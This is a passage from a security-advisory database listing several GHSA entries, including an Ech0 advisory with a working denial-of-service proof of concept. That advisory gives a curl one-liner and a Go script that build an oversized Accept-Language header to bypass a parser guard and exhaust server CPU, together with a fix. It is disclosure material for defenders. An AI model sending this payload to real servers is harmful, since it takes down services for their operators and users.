"github_reviewed_at": null,
"nvd_published_at": "2017-04-18T19:59:00Z",
"severity": "MODERATE"
},
"details": "The ReadAVSImage function in avs.c in ImageMagick 7.0.5-4 allows remote attackers to consume an amount of available memory via a crafted file.",
"id": "GHSA-mpjm-7gh6-3vc4",
"modified": "2022-05-13T01:47:13Z",
"published": "2022-05-13T01:47:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7942"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/429"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97946"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MPVW-2236-FJGG
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46Memory leak in the vrend_renderer_init_blit_ctx function in vrend_blitter.c in virglrenderer before 0.6.0 allows local guest OS users to cause a denial of service (host memory consumption) via a large number of VIRGL_CCMD_BLIT commands.
{
"affected": [],
"aliases": [
"CVE-2017-5993"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-15T14:59:00Z",
"severity": "MODERATE"
},
"details": "Memory leak in the vrend_renderer_init_blit_ctx function in vrend_blitter.c in virglrenderer before 0.6.0 allows local guest OS users to cause a denial of service (host memory consumption) via a large number of VIRGL_CCMD_BLIT commands.",
"id": "GHSA-mpvw-2236-fjgg",
"modified": "2022-05-13T01:46:22Z",
"published": "2022-05-13T01:46:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5993"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1422438"
},
{
"type": "WEB",
"url": "https://cgit.freedesktop.org/virglrenderer/commit/?id=6eb13f7a2dcf391ec9e19b4c2a79e68305f63c22"
},
{
"type": "WEB",
"url": "https://lists.freedesktop.org/archives/virglrenderer-devel/2017-February/000145.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201707-06"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/02/15/7"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96275"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MQ8W-C2J9-RQXC
Vulnerability from github – Published: 2024-03-27 09:30 – Updated: 2024-07-30 03:30When an application tells libcurl it wants to allow HTTP/2 server push, and the amount of received headers for the push surpasses the maximum allowed limit (1000), libcurl aborts the server push. When aborting, libcurl inadvertently does not free all the previously allocated headers and instead leaks the memory. Further, this error condition fails silently and is therefore not easily detected by an application.
{
"affected": [],
"aliases": [
"CVE-2024-2398"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T08:15:41Z",
"severity": "HIGH"
},
"details": "When an application tells libcurl it wants to allow HTTP/2 server push, and the amount of received headers for the push surpasses the maximum allowed limit (1000), libcurl aborts the server push. When aborting, libcurl inadvertently does not free all the previously allocated headers and instead leaks the memory. Further, this error condition fails silently and is therefore not easily detected by an application.",
"id": "GHSA-mq8w-c2j9-rqxc",
"modified": "2024-07-30T03:30:51Z",
"published": "2024-03-27T09:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2398"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2402845"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2024-2398.html"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2024-2398.json"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2D44YLAUFJU6BZ4XFG2FYV7SBKXB5IZ6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GMD6UYKCCRCYETWQZUJ65ZRFULT6SHLI"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240503-0009"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214118"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214119"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214120"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/18"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/19"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/20"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/27/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MQV3-F225-3XW2
Vulnerability from github – Published: 2024-11-14 21:32 – Updated: 2025-12-23 18:30An authenticated user can provide a malformed ACL to the fileserver's StoreACL RPC, causing the fileserver to crash, possibly expose uninitialized memory, and possibly store garbage data in the audit log. Malformed ACLs provided in responses to client FetchACL RPCs can cause client processes to crash and possibly expose uninitialized memory into other ACLs stored on the server.
{
"affected": [],
"aliases": [
"CVE-2024-10396"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T20:15:20Z",
"severity": "HIGH"
},
"details": "An authenticated user can provide a malformed ACL to the fileserver\u0027s StoreACL\nRPC, causing the fileserver to crash, possibly expose uninitialized memory, and\npossibly store garbage data in the audit log.\nMalformed ACLs provided in responses to client FetchACL RPCs can cause client\nprocesses to crash and possibly expose uninitialized memory into other ACLs\nstored on the server.",
"id": "GHSA-mqv3-f225-3xw2",
"modified": "2025-12-23T18:30:19Z",
"published": "2024-11-14T21:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10396"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00019.html"
},
{
"type": "WEB",
"url": "https://openafs.org/pages/security/OPENAFS-SA-2024-002.txt"
},
{
"type": "WEB",
"url": "https://www.openafs.org/pages/security/OPENAFS-SA-2024-002.txt"
},
{
"type": "WEB",
"url": "https://www.openafs.org/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MQXV-9RM6-W8QC
Vulnerability from github – Published: 2026-07-14 19:58 – Updated: 2026-07-14 19:58Summary
Ech0's i18n middleware runs on every HTTP request and constructs a fresh *goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter. goi18n.NewLocalizer calls golang.org/x/text/language.ParseAcceptLanguage on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.
Affected versions
github.com/lin-snow/Ech0 v4.8.2 and (per code inspection of main) earlier 4.x versions that wire the internal/i18n.Middleware() gin middleware on the global router without imposing their own size limit on Accept-Language. Verified on:
- the official
ghcr.io/lin-snow/ech0:latestDocker image at v4.8.2 (E2E below) mainat commit451c7c10eb1f23f7525c163e83f8b39f46d5aad0by readinginternal/i18n/i18n.go(the middleware andsetLocaleContextcall site are unchanged)
Privilege required
Unauthenticated. The i18n.Middleware runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated /api/echo/page endpoint.
Vulnerable code
internal/i18n/i18n.go (blob SHA 451c7c10eb1f23f7525c163e83f8b39f46d5aad0), the gin middleware Middleware() at lines 202-213:
func Middleware() gin.HandlerFunc {
return func(ctx *gin.Context) {
explicit := explicitLocaleFromRequest(ctx)
acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language"))
locale := systemDefaultLocale()
if explicit != "" {
locale = ResolveLocale(explicit, acceptLanguage)
}
setLocaleContext(ctx, locale, acceptLanguage)
ctx.Next()
}
}
setLocaleContext at line 191 then calls NewLocalizer(normalized, acceptLanguage):
func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {
if ctx == nil {
return
}
normalized := ResolveLocale(locale)
localizer := NewLocalizer(normalized, acceptLanguage)
ctx.Set(ContextLocaleKey, normalized)
ctx.Set(ContextLocalizerKey, localizer)
ctx.Header("Content-Language", normalized)
}
NewLocalizer is a thin wrapper around goi18n.NewLocalizer, which internally calls language.ParseAcceptLanguage(lang) for every passed string in its parseTags helper (see github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50). So the unfiltered acceptLanguage reaches language.ParseAcceptLanguage on every request.
ctx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The additional ResolveLocale path at line 208 also calls language.ParseAcceptLanguage(strings.Join(parts, ",")) directly when X-Locale or the lang query parameter is set, with the same vector and a longer-running effect (the input concatenates explicit + acceptLanguage so the parser sees both, and the path is exercised twice).
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
The middleware sequence on any HTTP request:
- The request enters
i18n.Middleware(). ctx.GetHeader("Accept-Language")returns the full attacker-supplied header value.setLocaleContextis called with that value.NewLocalizer(normalized, acceptLanguage)constructs a goi18n localizer; goi18n'sparseTagscallslanguage.ParseAcceptLanguage(acceptLanguage)unfiltered.
No size or character-class filter is applied between (2) and (4). When X-Locale or ?lang= is also present, the parser is invoked twice on related input via the explicit ResolveLocale(explicit, acceptLanguage) path at line 210.
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh ghcr.io/lin-snow/ech0:latest container:
docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18300/
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against ghcr.io/lin-snow/ech0:latest at v4.8.2)
A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18300/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official ghcr.io/lin-snow/ech0:latest image at v4.8.2):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lin-snow/Ech0 v4.8.2 i18n middleware at
internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).
Target: http://127.0.0.1:18300/ payload=1048576 B
warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms
guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms
attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s
Setting X-Locale: en in addition (which triggers the explicit-locale ResolveLocale path at line 210, calling ParseAcceptLanguage(strings.Join(parts, ",")) directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting ?lang=en in the query gives ~3 s.
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 2 - 8 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 21 ms |
1 MiB _ separators (guard bypassed), no X-Locale |
1 MiB | 1.5 - 1.6 s |
1 MiB _ separators with X-Locale: en |
1 MiB | ~7.9 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The _ attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte X-Locale: en header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.
Impact
- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the
X-Locale: enheader. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.
Suggested fix
Apply the size / character-class filter at the i18n middleware boundary, before the Accept-Language value reaches setLocaleContext (and through it NewLocalizer). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and drop the header when the total exceeds a small ceiling:
// internal/i18n/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func sanitizeAcceptLanguage(v string) string {
if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators {
return ""
}
return v
}
func Middleware() gin.HandlerFunc {
return func(ctx *gin.Context) {
explicit := explicitLocaleFromRequest(ctx)
acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language")))
locale := systemDefaultLocale()
if explicit != "" {
locale = ResolveLocale(explicit, acceptLanguage)
}
setLocaleContext(ctx, locale, acceptLanguage)
ctx.Next()
}
}
The same sanitizeAcceptLanguage should be applied wherever Accept-Language is consumed (HeaderLocale at line 230 and the user.go paths at lines 80, 275 that pass user input into ResolveLocale).
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Credit
Reported by tonghuaroot.
Fix PR
https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 5.0.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T19:58:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nEch0\u0027s i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n if ctx == nil {\n return\n }\n normalized := ResolveLocale(locale)\n localizer := NewLocalizer(normalized, acceptLanguage)\n ctx.Set(ContextLocaleKey, normalized)\n ctx.Set(ContextLocalizerKey, localizer)\n ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n\u0027s `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -\u003e setLocaleContext -\u003e NewLocalizer).\n\nTarget: http://127.0.0.1:18300/ payload=1048576 B\n\n warm-up header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=7.692458ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=2.666625ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=1.981333ms\n guard-fires control (\u0027-\u0027 x payload) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=200 t=21.445083ms\n attack (\u0027_\u0027 x payload) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.489513083s\n attack repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.501842542s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.571093458s\n```\n\nSetting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, \",\"))` directly) makes the same request take ~7.9 s on the same host \u2014 the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s.\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 2 - 8 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms |\n| 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s |\n| 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling:\n\n```go\n// internal/i18n/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc sanitizeAcceptLanguage(v string) string {\n if strings.Count(v, \"-\")+strings.Count(v, \"_\") \u003e maxAcceptLanguageSeparators {\n return \"\"\n }\n return v\n}\n\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader(\"Accept-Language\")))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\nThe same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`).\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1",
"id": "GHSA-mqxv-9rm6-w8qc",
"modified": "2026-07-14T19:58:54Z",
"published": "2026-07-14T19:58:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware"
}
GHSA-MVFV-547P-MCWM
Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40A remote code execution vulnerability in the Android media framework (mpeg2 decoder). Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-37273673.
{
